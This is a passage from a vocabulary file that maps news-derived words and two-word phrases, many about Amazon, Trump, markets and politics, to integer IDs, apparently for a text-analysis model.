avoid\": 170104,\n  \"market analyst\": 170105,\n  \"achieve growth\": 170106,\n  \"wagner aurora\": 170107,\n  \"sponsored boot\": 170108,\n  \"hawaiian armageddon\": 170109,\n  \"consumers typically\": 170110,\n  \"story walmart\": 170111,\n  \"spokesperson according\": 170112,\n  \"air mansion\": 170113,\n  \"learned amazon\": 170114,\n  \"world html\": 170115,\n  \"defeat hillary\": 170116,\n  \"paper notion\": 170117,\n  \"including soybeans\": 170118,\n  \"celebrated\": 170119,\n  \"uncompetitive\": 170120,\n  \"trump reckless\": 170121,\n  \"recurring roles\": 170122,\n  \"lightning studied\": 170123,\n  \"firefighters budgets\": 170124,\n  \"users recall\": 170125,\n  \"macy\": 170126,\n  \"fashioned way\": 170127,\n  \"notoriously unpopular\": 170128,\n  \"tuesdaymotivation\": 170129,\n  \"mounted comeback\": 170130,\n  \"committees shelby\": 170131,\n  \"followed national\": 170132,\n  \"coercion\": 170133,\n  \"fall preview\": 170134,\n  \"closs teenager\": 170135,\n  \"republicans maybe\": 170136,\n  \"brims\": 170137,\n  \"ellis island\": 170138,\n  \"administrative law\": 170139,\n  \"elmhurst community\": 170140,\n  \"raised funds\": 170141,\n  \"considers unfair\": 170142,\n  \"community including\": 170143,\n  \"sounded positive\": 170144,\n  \"stitcher copper\": 170145,\n  \"recorder\": 170146,\n  \"hailed passage\": 170147,\n  \"broader stock\": 170148,\n  \"trump employs\": 170149,\n  \"tobrien46\": 170150,\n  \"castro sounded\": 170151,\n  \"hiring single\": 170152,\n  \"gaining political\": 170153,\n  \"jury lie\": 170154,\n  \"book bloomberg\": 170155,\n  \"included robotic\": 170156,\n  \"tweeted sickening\": 170157,\n  \"higher costs\": 170158,\n  \"survival fans\": 170159,\n  \"mirrors amazon\": 170160,\n  \"regime ice\": 170161,\n  \"takes photo\": 170162,\n  \"emphasising\": 170163,\n  \"videocollectionurl video\": 170164,\n  \"bob woodward\": 170165,\n  \"keast politico\": 170166,\n  \"living hunger\": 170167,\n  \"bush set\": 170168,\n  \"hurting fellow\": 170169,\n  \"investing advice\": 170170,\n  \"promoted books\": 170171,\n  \"signature blackburn\": 170172,\n  \"trump candidacy\": 170173,\n  \"becker recently\": 170174,\n  \"subscription fee\": 170175,\n  \"uniform sam\": 170176,\n  \"giuliani security\": 170177,\n  \"called middle\": 170178,\n  \"polarization murray\": 170179,\n  \"feared amazon\": 170180,\n  \"housing truly\": 170181,\n  \"tpg telecom\": 170182,\n  \"karlis previously\": 170183,\n  \"sensational sexual\": 170184,\n  \"service includes\": 170185,\n  \"city democratic\": 170186,\n  \"economy 2018\": 170187,\n  \"accountant rick\": 170188,\n  \"ride naz\": 170189,\n  \"reportedly granted\": 170190,\n  \"experienced year\": 170191,\n  \"discussed human\": 170192,\n  \"renewed optimism\": 170193,\n  \"including world\": 170194,\n  \"person alive\": 170195,\n  \"retail systems\": 170196,\n  \"amazon temporarily\": 170197,\n  \"bolsters\": 170198,\n  \"informed weekday\": 170199,\n  \"posting blog\": 170200,\n  \"bolster new\": 170201,\n  \"whoop\": 170202,\n  \"website bloomberg\": 170203,\n  \"openly anti\": 170204,\n  \"publishing perspectives\": 170205,\n  \"oil producer\": 170206,\n  \"citadel\": 170207,\n  \"taxes regulations\": 170208,\n  \"gmt torrent\": 170209,\n  \"general 2018\": 170210,\n  \"amazon spokespeople\": 170211,\n  \"sockslane company\": 170212,\n  \"collins government\": 170213,\n  \"watch alphabet\": 170214,\n  \"uk organized\": 170215,\n  \"candidates\": 170216,\n  \"editorial quality\": 170217,\n  \"constituents great\": 170218,\n  \"upended school\": 170219,\n  \"teachers doctors\": 170220,\n  \"month hughes\": 170221,\n  \"conspiracy reached\": 170222,\n  \"edelson stiglitz\": 170223,\n  \"economy business\": 170224,\n  \"world keoshkerian\": 170225,\n  \"evening everybody\": 170226,\n  \"vaults\": 170227,\n  \"act intended\": 170228,\n  \"times editorial\": 170229,\n  \"achieve desk\": 170230,\n  \"howard\": 170231,\n  \"treason\": 170232,\n  \"plaintiffs\": 170233,\n  \"unfortunately pomp\": 170234,\n  \"company pointed\": 170235,\n  \"inherently\": 170236,\n  \"ma_compt_maylor\": 170237,\n  \"open soon\": 170238,\n  \"drivers engage\": 170239,\n  \"brokers\": 170240,\n  \"economy contracted\": 170241,\n  \"sheriff hopper\": 170242,\n  \"saying residents\": 170243,\n  \"surveillance data\": 170244,\n  \"text white\": 170245,\n  \"destination\": 170246,\n  \"johnsbury\": 170247,\n  \"beating gains\": 170248,\n  \"harris\": 170249,\n  \"comment cloud\": 170250,\n  \"rent amazon\": 170251,\n  \"alexa kiss\": 170252,\n  \"demand bezos\": 170253,\n  \"plummet\": 170254,\n  \"says sam\": 170255,\n  \"europe old\": 170256,\n  \"bank win\": 170257,\n  \"trade reuters\": 170258,\n  \"housing amazon\": 170259,\n  \"stoke\": 170260,\n  \"islam\": 170261,\n  \"election driven\": 170262,\n  \"2019 mackenzie\": 170263,\n  \"nsa politics\": 170264,\n  \"despite widespread\": 170265,\n  \"company participation\": 170266,\n  \"patrick star\": 170267,\n  \"facebook suggesting\": 170268,\n  \"media volunteers\": 170269,\n  \"plethora\": 170270,\n  \"q1 2019\": 170271,\n  \"aktiengesellschaft fi\": 170272,\n  \"divorce list\": 170273,\n  \"roti destination\": 170274,\n  \"big entity\": 170275,\n  \"old looking\": 170276,\n  \"rollercoaster sixteen\": 170277,\n  \"dominated version\": 170278,\n  \"archives\": 170279,\n  \"mainly thank\": 170280,\n  \"achieves\": 170281,\n  \"important issues\": 170282,\n  \"connolly\": 170283,\n  \"incident actually\": 170284,\n  \"resumes attack\": 170285,\n  \"government bodies\": 170286,\n  \"app play\": 170287,\n  \"ethical safeguards\": 170288,\n  \"quarter northeast\": 170289,\n  \"separation crisis\": 170290,\n  \"scrapping planned\": 170291,\n  \"stupid dannyzuker\": 170292,\n  \"ravages europe\": 170293,\n  \"specials images\": 170294,\n  \"dalton wsj\": 170295,\n  \"law says\": 170296,\n  \"acosta hannity\": 170297,\n  \"105 000\": 170298,\n  \"ana mar\\u00eda\": 170299,\n  \"securities analyst\": 170300,\n  \"snubbed\": 170301,\n  \"nipping\": 170302,\n  \"act provides\": 170303,\n  \"class bernie\": 170304,\n  \"decided unanimously\": 170305,\n  \"foolery\": 170306,\n  \"new expansion\": 170307,\n  \"conservatives just\": 170308,\n  \"washington dc\": 170309,\n  \"lost lot\": 170310,\n  \"neb\": 170311,\n  \"bypassing search\": 170312,\n  \"amazon cox\": 170313,\n  \"right peek\": 170314,\n  \"government websites\": 170315,\n  \"long multi\": 170316,\n  \"restoring\": 170317,\n  \"conspicuous trump\": 170318,\n  \"reported 778\": 170319,\n  \"jan 2015\": 170320,\n  \"plus sure\": 170321,\n  \"continue offering\": 170322,\n  \"routine glowing\": 170323,\n  \"euro bloomberg\": 170324,\n  \"maurice\": 170325,\n  \"chris gayle\": 170326,\n  \"lovely\": 170327,\n  \"complete monopoly\": 170328,\n  \"uber invested\": 170329,\n  \"recall ford\": 170330,\n  \"generated revenue\": 170331,\n  \"ranked number\": 170332,\n  \"wwii london\": 170333,\n  \"tweeted seemingly\": 170334,\n  \"glasses apple\": 170335,\n  \"feldman writes\": 170336,\n  \"providers small\": 170337,\n  \"york plans\": 170338,\n  \"baseless allegation\": 170339,\n  \"hair charlie\": 170340,\n  \"time imminent\": 170341,\n  \"judicial committee\": 170342,\n  \"trump term\": 170343,\n  \"simplistic\": 170344,\n  \"alabama crimson\": 170345,\n  \"gas citing\": 170346,\n  \"desi\": 170347,\n  \"microsoft amazon\": 170348,\n  \"ritchie\": 170349,\n  \"ustr highlighted\": 170350,\n  \"phyllis cuttino\": 170351,\n  \"governments stars\": 170352,\n  \"assistant playing\": 170353,\n  \"washington garofolo\": 170354,\n  \"shifted course\": 170355,\n  \"rounds enjoy\": 170356,\n  \"place amazon\": 170357,\n  \"city amenities\": 170358,\n  \"new step\": 170359,\n  \"government annual\": 170360,\n  \"lmpressive benefits\": 170361,\n  \"obama economic\": 170362,\n  \"half year\": 170363,\n  \"abg\": 170364,\n  \"reed stevenson\": 170365,\n  \"dirty\": 170366,\n  \"crossings\": 170367,\n  \"right direction\": 170368,\n  \"new locations\": 170369,\n  \"ohmnilabs\": 170370,\n  \"geekwire john\": 170371,\n  \"crisis line\": 170372,\n  \"001 000\": 170373,\n  \"strong contrasts\": 170374,\n  \"letter lakesha\": 170375,\n  \"isn interested\": 170376,\n  \"tide pod\": 170377,\n  \"founder jack\": 170378,\n  \"make deliveries\": 170379,\n  \"gawande recently\": 170380,\n  \"orders georgia\": 170381,\n  \"autism mlb\": 170382,\n  \"mdf desk\": 170383,\n  \"make trump\": 170384,\n  \"instruments squeebles\": 170385,\n  \"missing revenue\": 170386,\n  \"tax facebook\": 170387,\n  \"married fox\": 170388,\n  \"happy prime\": 170389,\n  \"process pennsylvania\": 170390,\n  \"gov hearing\": 170391,\n  \"specific items\": 170392,\n  \"sessions makes\": 170393,\n  \"deal intact\": 170394,\n  \"roku okta\": 170395,\n  \"room mo\": 170396,\n  \"just agree\": 170397,\n  \"european professional\": 170398,\n  \"branding strategy\": 170399,\n  \"goldengateblond\": 170400,\n  \"administration rhetoric\": 170401,\n  \"agita\": 170402,\n  \"brand called\": 170403,\n  \"dinner economic\": 170404,\n  \"typically doesn\": 170405,\n  \"reported book\": 170406,\n  \"alana newhouse\": 170407,\n  \"office declined\": 170408,\n  \"rating\": 170409,\n  \"capitalism ethiopia\": 170410,\n  \"ordeal jolley\": 170411,\n  \"packages offered\": 170412,\n  \"manager jennifer\": 170413,\n  \"permanent occupation\": 170414,\n  \"offered little\": 170415,\n  \"emmaroller\": 170416,\n  \"quality isn\": 170417,\n  \"certainly lot\": 170418,\n  \"supermarket\": 170419,\n  \"sawing\": 170420,\n  \"office hit\": 170421,\n  \"distant\": 170422,\n  \"getting approval\": 170423,\n  \"headquarters persistent\": 170424,\n  \"conway weighed\": 170425,\n  \"person title\": 170426,\n  \"taken private\": 170427,\n  \"yes did\": 170428,\n  \"subpar\": 170429,\n  \"weren disclosed\": 170430,\n  \"giving illegal\": 170431,\n  \"dumas gene\": 170432,\n  \"soy producer\": 170433,\n  \"ultimate failure\": 170434,\n  \"outright enemies\": 170435,\n  \"interviewing people\": 170436,\n  \"maintaining subways\": 170437,\n  \"investment yahoo\": 170438,\n  \"york covering\": 170439,\n  \"office blames\": 170440,\n  \"chests\": 170441,\n  \"smartphone maker\": 170442,\n  \"tgt\": 170443,\n  \"identify patients\": 170444,\n  \"discouraging trump\": 170445,\n  \"investigation nyc\": 170446,\n  \"foretold\": 170447,\n  \"boots fq2\": 170448,\n  \"skills mozzarella\": 170449,\n  \"program began\": 170450,\n  \"road initiative\": 170451,\n  \"start lawsuit\": 170452,\n  \"steve wynn\": 170453,\n  \"optimal transportation\": 170454,\n  \"various references\": 170455,\n  \"gumshoe\": 170456,\n  \"grocery division\": 170457,\n  \"wisconsin\": 170458,\n  \"possible votes\": 170459,\n  \"pilots began\": 170460,\n  \"free business\": 170461,\n  \"section details\": 170462,\n  \"disasters\": 170463,\n  \"powers sure\": 170464,\n  \"build mega\": 170465,\n  \"board needs\": 170466,\n  \"ship books\": 170467,\n  \"2018 pressure\": 170468,\n  \"1962\": 170469,\n  \"bee turned\": 170470,\n  \"supernatural beings\": 170471,\n  \"panel cornell\": 170472,\n  \"28m\": 170473,\n  \"reports revealed\": 170474,\n  \"awarded 950\": 170475,\n  \"dirt\": 170476,\n  \"undisclosed period\": 170477,\n  \"gamble nyse\": 170478,\n  \"profile incident\": 170479,\n  \"bridges\": 170480,\n  \"warns trade\": 170481,\n  \"project known\": 170482,\n  \"gillian anderson\": 170483,\n  \"cave complex\": 170484,\n  \"delay negative\": 170485,\n  \"lower gross\": 170486,\n  \"occupies palestine\": 170487,\n  \"unread\": 170488,\n  \"planned meeting\": 170489,\n  \"caputo trump\": 170490,\n  \"hosting livestream\": 170491,\n  \"cuomo initiated\": 170492,\n  \"helped offset\": 170493,\n  \"amzn say\": 170494,\n  \"icing\": 170495,\n  \"money according\": 170496,\n  \"little fun\": 170497,\n  \"c0 jc\": 170498,\n  \"hidden\": 170499,\n  \"market institute\": 170500,\n  \"share records\": 170501,\n  \"laura nahmias\": 170502,\n  \"kudlow isn\": 170503,\n  \"really kick\": 170504,\n  \"kohl says\": 170505,\n  \"variety reports\": 170506,\n  \"democrat disclaimer\": 170507,\n  \"significantly lower\": 170508,\n  \"amazon contract\": 170509,\n  \"unallocated transit\": 170510,\n  \"tariff list\": 170511,\n  \"walton fails\": 170512,\n  \"056 weighed\": 170513,\n  \"transcript obama\": 170514,\n  \"undercut\": 170515,\n  \"chartstyletoggle false\": 170516,\n  \"2005 2014\": 170517,\n  \"david mcintosh\": 170518,\n  \"leverages\": 170519,\n  \"reportedly shows\": 170520,\n  \"bloody murder\": 170521,\n  \"artful\": 170522,\n  \"special focus\": 170523,\n  \"life balance\": 170524,\n  \"stocks closed\": 170525,\n  \"week bumpy\": 170526,\n  \"danger sam\": 170527,\n  \"continue inventing\": 170528,\n  \"house jones\": 170529,\n  \"city experts\": 170530,\n  \"just holding\": 170531,\n  \"reinvestment coalition\": 170532,\n  \"paranoia suggesting\": 170533,\n  \"gayle gayle\": 170534,\n  \"operations\": 170535,\n  \"abelskiver makers\": 170536,\n  \"alleged political\": 170537,\n  \"month offers\": 170538,\n  \"600x400 getty_623710176_388104\": 170539,\n  \"twtr\": 170540,\n  \"conflates\": 170541,\n  \"initiative aimed\": 170542,\n  \"merely wanted\": 170543,\n  \"business magazine\": 170544,\n  \"burn thousands\": 170545,\n  \"dinner dixie\": 170546,\n  \"billions leading\": 170547,\n  \"salacious private\": 170548,\n  \"observes\": 170549,\n  \"force base\": 170550,\n  \"breaking point\": 170551,\n  \"prize\": 170552,\n  \"beauregard\": 170553,\n  \"aqms aqua\": 170554,\n  \"bartiromo larry\": 170555,\n  \"document promote\": 170556,\n  \"hilarious bug\": 170557,\n  \"amazon issue\": 170558,\n  \"tabloid reported\": 170559,\n  \"trump head\": 170560,\n  \"ben purdy\": 170561,\n  \"untraditional\": 170562,\n  \"candidates garnered\": 170563,\n  \"billion shy\": 170564,\n  \"acre waterfront\": 170565,\n  \"week fell\": 170566,\n  \"publisher cut\": 170567,\n  \"reversing mergers\": 170568,\n  \"congress called\": 170569,\n  \"small share\": 170570,\n  \"sam homewood\": 170571,\n  \"think alike\": 170572,\n  \"doubt\": 170573,\n  \"timing say\": 170574,\n  \"city maybe\": 170575,\n  \"convey\": 170576,\n  \"leaders approximately\": 170577,\n  \"suisse suffers\": 170578,\n  \"continuous basis\": 170579,\n  \"yard walt\": 170580,\n  \"kospi added\": 170581,\n  \"lead mccain\": 170582,\n  \"llc stated\": 170583,\n  \"amazon air\": 170584,\n  \"deadly opioids\": 170585,\n  \"forms\": 170586,\n  \"ceo stepped\": 170587,\n  \"store licensing\": 170588,\n  \"appetite appears\": 170589,\n  \"tag targeting\": 170590,\n  \"curlingly embarrassing\": 170591,\n  \"sizeable gains\": 170592,\n  \"2005 indie\": 170593,\n  \"services currency\": 170594,\n  \"966 3806\": 170595,\n  \"jin kim\": 170596,\n  \"jake snow\": 170597,\n  \"men esque\": 170598,\n  \"blame supervisor\": 170599,\n  \"arlington bustling\": 170600,\n  \"regulatory powers\": 170601,\n  \"movement called\": 170602,\n  \"amazon earnings\": 170603,\n  \"impulse buys\": 170604,\n  \"yerdlljc5t nwdc\": 170605,\n  \"business costs\": 170606,\n  \"beginning easley\": 170607,\n  \"provides xel\": 170608,\n  \"involved half\": 170609,\n  \"bezos love\": 170610,\n  \"elaina plott\": 170611,\n  \"industry best\": 170612,\n  \"journal thanks\": 170613,\n  \"remains hardwired\": 170614,\n  \"associates cable\": 170615,\n  \"new tv\": 170616,\n  \"cosecha activists\": 170617,\n  \"opened retail\": 170618,\n  \"unbiased\": 170619,\n  \"best tech\": 170620,\n  \"german import\": 170621,\n  \"mondays tsx\": 170622,\n  \"restaurant sanchez\": 170623,\n  \"represents major\": 170624,\n  \"resources second\": 170625,\n  \"open board\": 170626,\n  \"source close\": 170627,\n  \"logistics expertise\": 170628,\n  \"county jail\": 170629,\n  \"young african\": 170630,\n  \"section states\": 170631,\n  \"retailers compete\": 170632,\n  \"phone soon\": 170633,\n  \"castaldo hbo\": 170634,\n  \"ilene rosen\": 170635,\n  \"flaccus sent\": 170636,\n  \"commission secret\": 170637,\n  \"book saving\": 170638,\n  \"descent\": 170639,\n  \"c9\": 170640,\n  \"ripple affects\": 170641,\n  \"organization helpedarrange\": 170642,\n  \"unchallenged\": 170643,\n  \"organization sues\": 170644,\n  \"right carlson\": 170645,\n  \"yield jumped\": 170646,\n  \"suggesting president\": 170647,\n  \"___ epa\": 170648,\n  \"visited\": 170649,\n  \"refills\": 170650,\n  \"unforeseeable events\": 170651,\n  \"reorganizes series\": 170652,\n  \"funding plan\": 170653,\n  \"tax applies\": 170654,\n  \"diametrically opposite\": 170655,\n  \"amazon deployed\": 170656,\n  \"specific database\": 170657,\n  \"family meal\": 170658,\n  \"schools started\": 170659,\n  \"protrump\": 170660,\n  \"immunization\": 170661,\n  \"governmental affairs\": 170662,\n  \"tr\": 170663,\n  \"add new\": 170664,\n  \"amazon chooses\": 170665,\n  \"headquarters san\": 170666,\n  \"peter desantis\": 170667,\n  \"employees taking\": 170668,\n  \"ballhaus rebeccaballhaus\": 170669,\n  \"badgley gossip\": 170670,\n  \"potentially overshadowing\": 170671,\n  \"bin suleiman\": 170672,\n  \"invoicing\": 170673,\n  \"additional options\": 170674,\n  \"day ladies\": 170675,\n  \"trump doubled\": 170676,\n  \"lower trendline\": 170677,\n  \"premiering feature\": 170678,\n  \"spectacular place\": 170679,\n  \"gaetz peter\": 170680,\n  \"tech juggernaut\": 170681,\n  \"company started\": 170682,\n  \"receive government\": 170683,\n  \"sympathisers\": 170684,\n  \"big leg\": 170685,\n  \"satanic narratives\": 170686,\n  \"apple cook\": 170687,\n  \"world retail\": 170688,\n  \"lex column\": 170689,\n  \"745\": 170690,\n  \"funny anymore\": 170691,\n  \"leaves everybody\": 170692,\n  \"packaging material\": 170693,\n  \"excluding kinja\": 170694,\n  \"wedding present\": 170695,\n  \"ami continues\": 170696,\n  \"opened amazon\": 170697,\n  \"complaints people\": 170698,\n  \"reportedly asked\": 170699,\n  \"enterprise level\": 170700,\n  \"real footage\": 170701,\n  \"purposes\": 170702,\n  \"friend secretary\": 170703,\n  \"outcomes amazon\": 170704,\n  \"hues\": 170705,\n  \"peter messitte\": 170706,\n  \"loeb\": 170707,\n  \"economy home\": 170708,\n  \"avoidable\": 170709,\n  \"similar boat\": 170710,\n  \"white female\": 170711,\n  \"railed amazon\": 170712,\n  \"hughes joined\": 170713,\n  \"owner tells\": 170714,\n  \"activists people\": 170715,\n  \"jeffrey goldberg\": 170716,\n  \"fake half\": 170717,\n  \"global operations\": 170718,\n  \"freshmen roll\": 170719,\n  \"incredibly difficult\": 170720,\n  \"ngo\": 170721,\n  \"dictatorships\": 170722,\n  \"performance defied\": 170723,\n  \"founder todd\": 170724,\n  \"cave\": 170725,\n  \"cooperation betrayal\": 170726,\n  \"replicate horvers\": 170727,\n  \"foreign distributors\": 170728,\n  \"ecpect deputy\": 170729,\n  \"asia hbo\": 170730,\n  \"people mover\": 170731,\n  \"587 million\": 170732,\n  \"telco\": 170733,\n  \"rights abuses\": 170734,\n  \"border joyce\": 170735,\n  \"shooting scene\": 170736,\n  \"nnix1\": 170737,\n  \"unidentified female\": 170738,\n  \"ms donnelly\": 170739,\n  \"agold\": 170740,\n  \"weeks stephen\": 170741,\n  \"entertaining watch\": 170742,\n  \"neutral technology\": 170743,\n  \"obviously requires\": 170744,\n  \"locating ton\": 170745,\n  \"capital area\": 170746,\n  \"borough president\": 170747,\n  \"rick gates\": 170748,\n  \"cubs decided\": 170749,\n  \"cause injury\": 170750,\n  \"feedtype\": 170751,\n  \"critical coverage\": 170752,\n  \"belong possible\": 170753,\n  \"construct parking\": 170754,\n  \"record profit\": 170755,\n  \"polar\": 170756,\n  \"potentially create\": 170757,\n  \"better lighting\": 170758,\n  \"storm commentary\": 170759,\n  \"nathan turner\": 170760,\n  \"fitness guru\": 170761,\n  \"feb\": 170762,\n  \"bezos serves\": 170763,\n  \"pro saudi\": 170764,\n  \"meteorologist lissette\": 170765,\n  \"chicago store\": 170766,\n  \"development corp\": 170767,\n  \"rocketship\": 170768,\n  \"watch bolsonaro\": 170769,\n  \"jointly controlled\": 170770,\n  \"starts tomorrow\": 170771,\n  \"shopify announces\": 170772,\n  \"hasn released\": 170773,\n  \"cables hidden\": 170774,\n  \"redux\": 170775,\n  \"york view\": 170776,\n  \"rich pedroncelli\": 170777,\n  \"ferry development\": 170778,\n  \"activities new\": 170779,\n  \"year saudi\": 170780,\n  \"revoking\": 170781,\n  \"closers week\": 170782,\n  \"separate accounting\": 170783,\n  \"continue bloomberg\": 170784,\n  \"18px\": 170785,\n  \"finance portals\": 170786,\n  \"cited challenging\": 170787,\n  \"incremental slow\": 170788,\n  \"partnering\": 170789,\n  \"slamming facebook\": 170790,\n  \"bezos cheating\": 170791,\n  \"articleshow 66947332\": 170792,\n  \"259 medium\": 170793,\n  \"maley\": 170794,\n  \"yes brian\": 170795,\n  \"population worried\": 170796,\n  \"sync\": 170797,\n  \"unveiled radical\": 170798,\n  \"rate corporate\": 170799,\n  \"confederate\": 170800,\n  \"981\": 170801,\n  \"shopping services\": 170802,\n  \"lives discover\": 170803,\n  \"lines lenard\": 170804,\n  \"2019 streetinsider\": 170805,\n  \"bmw electric\": 170806,\n  \"especially goods\": 170807,\n  \"lame zings\": 170808,\n  \"endearing\": 170809,\n  \"allocations\": 170810,\n  \"hopefuls amy\": 170811,\n  \"night referring\": 170812,\n  \"progress reuters\": 170813,\n  \"offers new\": 170814,\n  \"dues trump\": 170815,\n  \"describes patent\": 170816,\n  \"election win\": 170817,\n  \"shoulder messenger\": 170818,\n  \"gm doesn\": 170819,\n  \"closely held\": 170820,\n  \"competitive tactics\": 170821,\n  \"ryan quest\": 170822,\n  \"crises\": 170823,\n  \"recall ive\": 170824,\n  \"woodside project\": 170825,\n  \"north dakota\": 170826,\n  \"amazon reveals\": 170827,\n  \"new tea\": 170828,\n  \"visit write\": 170829,\n  \"highs following\": 170830,\n  \"ex ceo\": 170831,\n  \"urinate\": 170832,\n  \"special test\": 170833,\n  \"measured emotion\": 170834,\n  \"sebastian related\": 170835,\n  \"deals purchases\": 170836,\n  \"deals early\": 170837,\n  \"house spokeswoman\": 170838,\n  \"country rj\": 170839,\n  \"buffet net\": 170840,\n  \"trump queens\": 170841,\n  \"sears target\": 170842,\n  \"deploying antitrust\": 170843,\n  \"columbus\": 170844,\n  \"surprising stance\": 170845,\n  \"exactly line\": 170846,\n  \"quad\": 170847,\n  \"news presenters\": 170848,\n  \"favourably\": 170849,\n  \"certain sale\": 170850,\n  \"ballmer\": 170851,\n  \"protection good\": 170852,\n  \"equally provocative\": 170853,\n  \"kitchen mix\": 170854,\n  \"sharp drop\": 170855,\n  \"continue publishing\": 170856,\n  \"pre orders\": 170857,\n  \"elaborate conspiracy\": 170858,\n  \"pyrrhic victory\": 170859,\n  \"nibbling\": 170860,\n  \"fhd resolution\": 170861,\n  \"fires facebooktwittergoogle\": 170862,\n  \"launched tirade\": 170863,\n  \"receiving\": 170864,\n  \"valley entrepreneur\": 170865,\n  \"fr0004178572\": 170866,\n  \"million battling\": 170867,\n  \"bezos right\": 170868,\n  \"update bears\": 170869,\n  \"retaliation\": 170870,\n  \"mutual insurance\": 170871,\n  \"canadian company\": 170872,\n  \"delivered pep\": 170873,\n  \"tales share\": 170874,\n  \"stamps officially\": 170875,\n  \"make greater\": 170876,\n  \"nasdaq published\": 170877,\n  \"directly intervened\": 170878,\n  \"trump defiant\": 170879,\n  \"richest human\": 170880,\n  \"bullock\": 170881,\n  \"thestreet daily\": 170882,\n  \"singh known\": 170883,\n  \"nobbed\": 170884,\n  \"laws story\": 170885,\n  \"eliza\": 170886,\n  \"old lady\": 170887,\n  \"amazon gift\": 170888,\n  \"received recover\": 170889,\n  \"bt scoring\": 170890,\n  \"tastic stock\": 170891,\n  \"packages delivered\": 170892,\n  \"19x\": 170893,\n  \"industrial surveillance\": 170894,\n  \"hovering\": 170895,\n  \"massoud\": 170896,\n  \"appliance market\": 170897,\n  \"evil\": 170898,\n  \"today intern\": 170899,\n  \"respected journalists\": 170900,\n  \"reallocate funds\": 170901,\n  \"pay livable\": 170902,\n  \"panky thank\": 170903,\n  \"iphone mar\": 170904,\n  \"interview israel\": 170905,\n  \"dale faustin\": 170906,\n  \"remember facebook\": 170907,\n  \"amazon momentum\": 170908,\n  \"world wants\": 170909,\n  \"user voice\": 170910,\n  \"post implies\": 170911,\n  \"xsmall width\": 170912,\n  \"zte opinion\": 170913,\n  \"trump collectible\": 170914,\n  \"price ouster\": 170915,\n  \"sources washington\": 170916,\n  \"nhl hockey\": 170917,\n  \"standard deductions\": 170918,\n  \"edges hudson\": 170919,\n  \"ford jobs\": 170920,\n  \"problem want\": 170921,\n  \"sphinx\": 170922,\n  \"detailed roadmap\": 170923,\n  \"free perks\": 170924,\n  \"charcoal fabric\": 170925,\n  \"trotter president\": 170926,\n  \"managed television\": 170927,\n  \"moment forward\": 170928,\n  \"ny downplayed\": 170929,\n  \"screeds\": 170930,\n  \"split weekend\": 170931,\n  \"demo day\": 170932,\n  \"maduro vote\": 170933,\n  \"india japan\": 170934,\n  \"female right\": 170935,\n  \"email newsletters\": 170936,\n  \"tattooed\": 170937,\n  \"candidate speaking\": 170938,\n  \"inc_activeflag true\": 170939,\n  \"times estimates\": 170940,\n  \"stirred bit\": 170941,\n  \"clouds trade\": 170942,\n  \"elections generally\": 170943,\n  \"held 115\": 170944,\n  \"krugman stock\": 170945,\n  \"inauthentic goods\": 170946,\n  \"purdue denied\": 170947,\n  \"revenue projection\": 170948,\n  \"given unfair\": 170949,\n  \"story mark\": 170950,\n  \"target overreach\": 170951,\n  \"known washington\": 170952,\n  \"workplace harassment\": 170953,\n  \"tiny towns\": 170954,\n  \"ground lebeau\": 170955,\n  \"965\": 170956,\n  \"donkey\": 170957,\n  \"sector employment\": 170958,\n  \"counting votes\": 170959,\n  \"196\": 170960,\n  \"looks remarkably\": 170961,\n  \"conversations took\": 170962,\n  \"older mentor\": 170963,\n  \"ride vallone\": 170964,\n  \"amazon blasted\": 170965,\n  \"policies translating\": 170966,\n  \"dupont standard\": 170967,\n  \"inventory process\": 170968,\n  \"times spent\": 170969,\n  \"assembled consortium\": 170970,\n  \"football think\": 170971,\n  \"garossino\": 170972,\n  \"barring people\": 170973,\n  \"coziness\": 170974,\n  \"insurance uniforms\": 170975,\n  \"000 veterans\": 170976,\n  \"note going\": 170977,\n  \"date jack\": 170978,\n  \"remain silent\": 170979,\n  \"sheer sales\": 170980,\n  \"intimate text\": 170981,\n  \"powell address\": 170982,\n  \"holdovers\": 170983,\n  \"queens boy\": 170984,\n  \"2750989\": 170985,\n  \"gadget_pron rt\": 170986,\n  \"personally pressuring\": 170987,\n  \"backgrounds immediately\": 170988,\n  \"religious freedom\": 170989,\n  \"machinery row\": 170990,\n  \"kickertext\": 170991,\n  \"telsey advisory\": 170992,\n  \"california inland\": 170993,\n  \"switch verizon\": 170994,\n  \"harvard institute\": 170995,\n  \"rightly fills\": 170996,\n  \"klippenstein\": 170997,\n  \"headlamp 330\": 170998,\n  \"nancy travis\": 170999,\n  \"times noted\": 171000,\n  \"closely\": 171001,\n  \"trillion stock\": 171002,\n  \"amazon gibbs\": 171003,\n  \"safety information\": 171004,\n  \"4657 generally\": 171005,\n  \"party likewise\": 171006,\n  \"carving\": 171007,\n  \"amazon proprietary\": 171008,\n  \"retailer nook\": 171009,\n  \"brennancenter\": 171010,\n  \"effort outfit\": 171011,\n  \"build total\": 171012,\n  \"thoughtful people\": 171013,\n  \"brooklyn film\": 171014,\n  \"vision monrovia\": 171015,\n  \"man\": 171016,\n  \"provider accredited\": 171017,\n  \"enlist\": 171018,\n  \"paying people\": 171019,\n  \"amazon delisted\": 171020,\n  \"programs amazon\": 171021,\n  \"innovate international\": 171022,\n  \"mejia\": 171023,\n  \"austin looked\": 171024,\n  \"jr breaking\": 171025,\n  \"coin ap\": 171026,\n  \"coalition include\": 171027,\n  \"story bloomberg\": 171028,\n  \"country expect\": 171029,\n  \"committee foreignaffairs\": 171030,\n  \"national carriers\": 171031,\n  \"knausgaard\": 171032,\n  \"past presidents\": 171033,\n  \"warehouses received\": 171034,\n  \"285\": 171035,\n  \"carrell says\": 171036,\n  \"floridapolitics\": 171037,\n  \"finsum\": 171038,\n  \"trump fed\": 171039,\n  \"fair soundbite\": 171040,\n  \"trip abroad\": 171041,\n  \"plekken terecht\": 171042,\n  \"systematically oppressing\": 171043,\n  \"sessions attorney\": 171044,\n  \"surgeon\": 171045,\n  \"freshly won\": 171046,\n  \"board fasb\": 171047,\n  \"case icann\": 171048,\n  \"left attracted\": 171049,\n  \"council robert\": 171050,\n  \"include border\": 171051,\n  \"legislation 3665\": 171052,\n  \"rights holder\": 171053,\n  \"prius\": 171054,\n  \"justice statistics\": 171055,\n  \"strange bedfellows\": 171056,\n  \"equity market\": 171057,\n  \"run number\": 171058,\n  \"leslie\": 171059,\n  \"print truth\": 171060,\n  \"recruit\": 171061,\n  \"best marketwatch\": 171062,\n  \"water uco\": 171063,\n  \"future relationship\": 171064,\n  \"longer hear\": 171065,\n  \"exposed amazon\": 171066,\n  \"inside motorcade\": 171067,\n  \"fiercely devoted\": 171068,\n  \"recode reported\": 171069,\n  \"unrecognizable\": 171070,\n  \"party actors\": 171071,\n  \"skills practiced\": 171072,\n  \"taxes 